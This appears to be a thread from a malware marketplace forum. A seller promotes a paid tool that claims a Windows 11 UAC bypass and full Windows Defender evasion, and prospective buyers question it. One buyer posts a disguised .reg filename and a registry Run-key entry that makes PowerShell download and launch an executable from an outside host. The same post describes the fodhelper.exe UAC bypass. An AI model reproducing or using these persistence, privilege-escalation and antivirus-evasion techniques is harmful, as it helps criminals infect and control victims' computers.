UAC bypass working on latest Windows 11 versions?

Is the dialog spoof and being fud at runtime making it so expensive?

I would like to grab a VC if possible to leave a honest and detailed review

It does that for you. You don't need to worry about the technicality of how its done.

This sounds too good to be as true as it sounds. I will for sure pay for it if I am convinced it works as stated.

I am yet to see anyone say it worked for him.

GOD-MODE - October 21, 2024, 2:11 am

Take time OP, do a more recent test the date on youtube is over a year ago.

Lefty - October 21, 2024, 8:02 am

Its not just a registry name spoof with a powershell script added to the registry.. is it?

Naming a regkey a value like this?

Code

Lefty.r%e%g%r%nC%l%i%c%k%b%Y%e%S%bt%o%b%C%an%c%e%l%b%b%b%b%1%0.reg with a regkey value similar to this? + UAC bypass (Like for example replacing the registry entry for 'fodhelper.exe' with your file path and then executing fodhelper, which would bypass UAC)

Code Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
"MyPowerShellScript"="powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "& {
$desktop = [Environment]::GetFolderPath('Desktop'); Invoke-WebRequest -Uri
https://website.com/file.exe -OutFile \"$desktop\file.exe\"; Start-Process \"$desktop\file.exe\" }\"" its not that right?.. can you prove that its more than just these things please?

I know it can be attached in gmail but whats the receiving end see?

Could you show a video of the letter coming through and it not showing an image like this

And the version I made doesn't get detected by AV's and does not trigger windows defender either. check here. virus scan

Thank you. GLWS ?

standersxter - October 23, 2024, 3:51 am

Thank you. GLWS ?

The code you posted only download and execute file using powershell. This will NOT bypass any antivirus on runtime. But my product guarantees complete bypass of WD antivirus on both scantime and runtime. The video you requested for is already in the post. Everything you want to see is in the video. You can goto the first page and watch the video. Thanks.
